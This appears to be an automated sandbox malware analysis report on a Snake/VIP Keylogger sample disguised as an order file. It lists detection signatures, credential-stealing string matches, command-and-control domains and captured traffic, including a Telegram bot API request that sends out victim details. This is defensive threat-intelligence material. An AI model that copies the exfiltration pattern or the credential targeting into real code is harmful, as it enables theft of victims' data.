Edit tour

Windows Analysis Report
new order 00041221.exe

Overview

General Information

Sample name:	new order 00041221.exe
Analysis ID:	1482843
MD5:	f0c82f395d37fa87114ca7ef075695c8
SHA1:	06df165721ef1544251108d1af927786ea7de870
SHA256:	d954045a10b2292df4e754ad6f1c5350c82ce0a75d2cd9275ada797eca2c413f
Tags:	exePayment
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

.NET source code contains very large array initializations

AI detected suspicious sample

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for sample

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

new order 00041221.exe (PID: 1000 cmdline: "C:\Users\user\Desktop\new order 00041221.exe" MD5: F0C82F395D37FA87114CA7EF075695C8)

new order 00041221.exe (PID: 5292 cmdline: "C:\Users\user\Desktop\new order 00041221.exe" MD5: F0C82F395D37FA87114CA7EF075695C8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.3711414422.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d526:$a1: get_encryptedPassword 0x2d843:$a2: get_encryptedUsername 0x2d336:$a3: get_timePasswordChanged 0x2d43f:$a4: get_passwordField 0x2d53c:$a5: set_encryptedPassword 0x2ec15:$a7: get_logins 0x2eb78:$a10: KeyLoggerEventArgs 0x2e7dd:$a11: KeyLoggerEventArgsEventHandler
00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e096:$a1: get_encryptedPassword 0x2e3b3:$a2: get_encryptedUsername 0x2dea6:$a3: get_timePasswordChanged 0x2dfaf:$a4: get_passwordField 0x2e0ac:$a5: set_encryptedPassword 0x2f785:$a7: get_logins 0x2f6e8:$a10: KeyLoggerEventArgs 0x2f34d:$a11: KeyLoggerEventArgsEventHandler
00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2df8e:$a1: get_encryptedPassword 0x70fae:$a1: get_encryptedPassword 0x2e2ab:$a2: get_encryptedUsername 0x712cb:$a2: get_encryptedUsername 0x2dd9e:$a3: get_timePasswordChanged 0x70dbe:$a3: get_timePasswordChanged 0x2dea7:$a4: get_passwordField 0x70ec7:$a4: get_passwordField 0x2dfa4:$a5: set_encryptedPassword 0x70fc4:$a5: set_encryptedPassword 0x2f67d:$a7: get_logins 0x7269d:$a7: get_logins 0x2f5e0:$a10: KeyLoggerEventArgs 0x72600:$a10: KeyLoggerEventArgs 0x2f245:$a11: KeyLoggerEventArgsEventHandler 0x72265:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: new order 00041221.exe PID: 1000	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: new order 00041221.exe PID: 1000	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: new order 00041221.exe PID: 1000	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: new order 00041221.exe PID: 1000	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: new order 00041221.exe PID: 1000	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xac054:$a1: get_encryptedPassword 0xc0ecd:$a1: get_encryptedPassword 0xac367:$a2: get_encryptedUsername 0xc11e0:$a2: get_encryptedUsername 0xabe6e:$a3: get_timePasswordChanged 0xc0ce7:$a3: get_timePasswordChanged 0xabf77:$a4: get_passwordField 0xc0df0:$a4: get_passwordField 0xac06a:$a5: set_encryptedPassword 0xc0ee3:$a5: set_encryptedPassword 0xae51d:$a7: get_logins 0xc3396:$a7: get_logins 0xae480:$a10: KeyLoggerEventArgs 0xc32f9:$a10: KeyLoggerEventArgs 0xae0e9:$a11: KeyLoggerEventArgsEventHandler 0xc2f62:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: new order 00041221.exe PID: 5292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: new order 00041221.exe PID: 5292	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: new order 00041221.exe PID: 5292	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: new order 00041221.exe PID: 5292	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x85278:$a1: get_encryptedPassword 0x8558b:$a2: get_encryptedUsername 0x85092:$a3: get_timePasswordChanged 0x8519b:$a4: get_passwordField 0x8528e:$a5: set_encryptedPassword 0x87741:$a7: get_logins 0x876a4:$a10: KeyLoggerEventArgs 0x8730d:$a11: KeyLoggerEventArgsEventHandler
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.new order 00041221.exe.3859970.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.new order 00041221.exe.3859970.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
1.2.new order 00041221.exe.3859970.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.new order 00041221.exe.3859970.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.new order 00041221.exe.3859970.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.new order 00041221.exe.3859970.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
1.2.new order 00041221.exe.3859970.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.new order 00041221.exe.3859970.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b926:$a1: get_encryptedPassword 0x2bc43:$a2: get_encryptedUsername 0x2b736:$a3: get_timePasswordChanged 0x2b83f:$a4: get_passwordField 0x2b93c:$a5: set_encryptedPassword 0x2d015:$a7: get_logins 0x2cf78:$a10: KeyLoggerEventArgs 0x2cbdd:$a11: KeyLoggerEventArgsEventHandler
1.2.new order 00041221.exe.3859970.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d726:$a1: get_encryptedPassword 0x2da43:$a2: get_encryptedUsername 0x2d536:$a3: get_timePasswordChanged 0x2d63f:$a4: get_passwordField 0x2d73c:$a5: set_encryptedPassword 0x2ee15:$a7: get_logins 0x2ed78:$a10: KeyLoggerEventArgs 0x2e9dd:$a11: KeyLoggerEventArgsEventHandler
3.2.new order 00041221.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.new order 00041221.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.new order 00041221.exe.400000.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
3.2.new order 00041221.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.new order 00041221.exe.3859970.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b550:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3abf3:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ae50:$a4: \Orbitum\User Data\Default\Login Data 0x3b82f:$a5: \Kometa\User Data\Default\Login Data
1.2.new order 00041221.exe.38fa868.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.new order 00041221.exe.38fa868.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
1.2.new order 00041221.exe.38fa868.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.new order 00041221.exe.3859970.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e346:$s1: UnHook 0x2e34d:$s2: SetHook 0x2e355:$s3: CallNextHook 0x2e362:$s4: _hook
1.2.new order 00041221.exe.3859970.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39750:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38df3:$a3: \Google\Chrome\User Data\Default\Login Data 0x39050:$a4: \Orbitum\User Data\Default\Login Data 0x39a2f:$a5: \Kometa\User Data\Default\Login Data
3.2.new order 00041221.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d726:$a1: get_encryptedPassword 0x2da43:$a2: get_encryptedUsername 0x2d536:$a3: get_timePasswordChanged 0x2d63f:$a4: get_passwordField 0x2d73c:$a5: set_encryptedPassword 0x2ee15:$a7: get_logins 0x2ed78:$a10: KeyLoggerEventArgs 0x2e9dd:$a11: KeyLoggerEventArgsEventHandler
1.2.new order 00041221.exe.3859970.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c546:$s1: UnHook 0x2c54d:$s2: SetHook 0x2c555:$s3: CallNextHook 0x2c562:$s4: _hook
1.2.new order 00041221.exe.38fa868.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b926:$a1: get_encryptedPassword 0x2bc43:$a2: get_encryptedUsername 0x2b736:$a3: get_timePasswordChanged 0x2b83f:$a4: get_passwordField 0x2b93c:$a5: set_encryptedPassword 0x2d015:$a7: get_logins 0x2cf78:$a10: KeyLoggerEventArgs 0x2cbdd:$a11: KeyLoggerEventArgsEventHandler
3.2.new order 00041221.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b550:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3abf3:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ae50:$a4: \Orbitum\User Data\Default\Login Data 0x3b82f:$a5: \Kometa\User Data\Default\Login Data
1.2.new order 00041221.exe.38fa868.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x39750:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x38df3:$a3: \Google\Chrome\User Data\Default\Login Data 0x39050:$a4: \Orbitum\User Data\Default\Login Data 0x39a2f:$a5: \Kometa\User Data\Default\Login Data
3.2.new order 00041221.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e346:$s1: UnHook 0x2e34d:$s2: SetHook 0x2e355:$s3: CallNextHook 0x2e362:$s4: _hook
1.2.new order 00041221.exe.38fa868.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2c546:$s1: UnHook 0x2c54d:$s2: SetHook 0x2c555:$s3: CallNextHook 0x2c562:$s4: _hook
1.2.new order 00041221.exe.38fa868.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.new order 00041221.exe.38fa868.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
1.2.new order 00041221.exe.38fa868.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
1.2.new order 00041221.exe.38fa868.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.new order 00041221.exe.38fa868.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d726:$a1: get_encryptedPassword 0x70746:$a1: get_encryptedPassword 0x2da43:$a2: get_encryptedUsername 0x70a63:$a2: get_encryptedUsername 0x2d536:$a3: get_timePasswordChanged 0x70556:$a3: get_timePasswordChanged 0x2d63f:$a4: get_passwordField 0x7065f:$a4: get_passwordField 0x2d73c:$a5: set_encryptedPassword 0x7075c:$a5: set_encryptedPassword 0x2ee15:$a7: get_logins 0x71e35:$a7: get_logins 0x2ed78:$a10: KeyLoggerEventArgs 0x71d98:$a10: KeyLoggerEventArgs 0x2e9dd:$a11: KeyLoggerEventArgsEventHandler 0x719fd:$a11: KeyLoggerEventArgsEventHandler
1.2.new order 00041221.exe.38fa868.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3b550:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7e570:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3abf3:$a3: \Google\Chrome\User Data\Default\Login Data 0x7dc13:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ae50:$a4: \Orbitum\User Data\Default\Login Data 0x7de70:$a4: \Orbitum\User Data\Default\Login Data 0x3b82f:$a5: \Kometa\User Data\Default\Login Data 0x7e84f:$a5: \Kometa\User Data\Default\Login Data
1.2.new order 00041221.exe.38fa868.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2e346:$s1: UnHook 0x71366:$s1: UnHook 0x2e34d:$s2: SetHook 0x7136d:$s2: SetHook 0x2e355:$s3: CallNextHook 0x71375:$s3: CallNextHook 0x2e362:$s4: _hook 0x71382:$s4: _hook
Click to see the 28 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 203.124.44.4, DestinationIsIpv6: false, DestinationPort: 2525, EventID: 3, Image: C:\Users\user\Desktop\new order 00041221.exe, Initiated: true, ProcessId: 5292, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49727

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.7 - Destination IP: 188.114.97.3

Timestamp:	2024-07-26T09:03:24.118819+0200
SID:	2803305
Source Port:	49720
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.7 - Destination IP: 188.114.97.3

Timestamp:	2024-07-26T09:03:09.919075+0200
SID:	2803305
Source Port:	49706
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.127.169.103 - Destination IP: 192.168.2.7

Timestamp:	2024-07-26T09:03:45.702091+0200
SID:	2022930
Source Port:	443
Destination Port:	55797
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.7 - Destination IP: 193.122.6.168

Timestamp:	2024-07-26T09:03:10.643717+0200
SID:	2803274
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.7 - Destination IP: 193.122.6.168

Timestamp:	2024-07-26T09:03:09.300053+0200
SID:	2803274
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 52.165.165.26 - Destination IP: 192.168.2.7

Timestamp:	2024-07-26T09:03:24.465395+0200
SID:	2022930
Source Port:	443
Destination Port:	49717
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.7 - Destination IP: 193.122.6.168

Timestamp:	2024-07-26T09:03:06.940575+0200
SID:	2803274
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 40.127.169.103 - Destination IP: 192.168.2.7

Timestamp:	2024-07-26T09:03:44.316920+0200
SID:	2022930
Source Port:	443
Destination Port:	55796
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://anotherarmy.dns.army:8081

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: http://aborters.duckdns.org:8081	Virustotal: Detection: 11%	Perma Link
Source: http://varders.kozow.com:8081	Virustotal: Detection: 14%	Perma Link
Source: http://anotherarmy.dns.army:8081	Virustotal: Detection: 14%	Perma Link

Multi AV Scanner detection for submitted file

Source: new order 00041221.exe	Virustotal: Detection: 41%			Perma Link
Source: new order 00041221.exe	ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: new order 00041221.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: new order 00041221.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49703 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49726 version: TLS 1.2

Source: new order 00041221.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 0127F2EDh	3_2_0127F150
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 0127F2EDh	3_2_0127F33C
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 0127FAA9h	3_2_0127F7F1
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A331E8h	3_2_05A32DC0
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A3F471h	3_2_05A3F1C8
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A331E8h	3_2_05A32DD0
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A331E8h	3_2_05A33116
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A3EBC1h	3_2_05A3E918
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A32C21h	3_2_05A32970
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A3F019h	3_2_05A3ED70
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A3E769h	3_2_05A3E4C0
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A3DEB9h	3_2_05A3DC10
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A3E311h	3_2_05A3E068
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_05A30040
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_05A30853
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A3DA61h	3_2_05A3D7B8
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A30D0Dh	3_2_05A30B30
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A31697h	3_2_05A30B30
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A3D1B1h	3_2_05A3CF08
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A3D609h	3_2_05A3D360
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A3F8C9h	3_2_05A3F620
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_05A30673
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 4x nop then jmp 05A3FD21h	3_2_05A3FA78

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.new order 00041221.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.7:49727 -> 203.124.44.4:2525

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20and%20Time:%2027/07/2024%20/%2000:07:11%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20899552%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49703 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
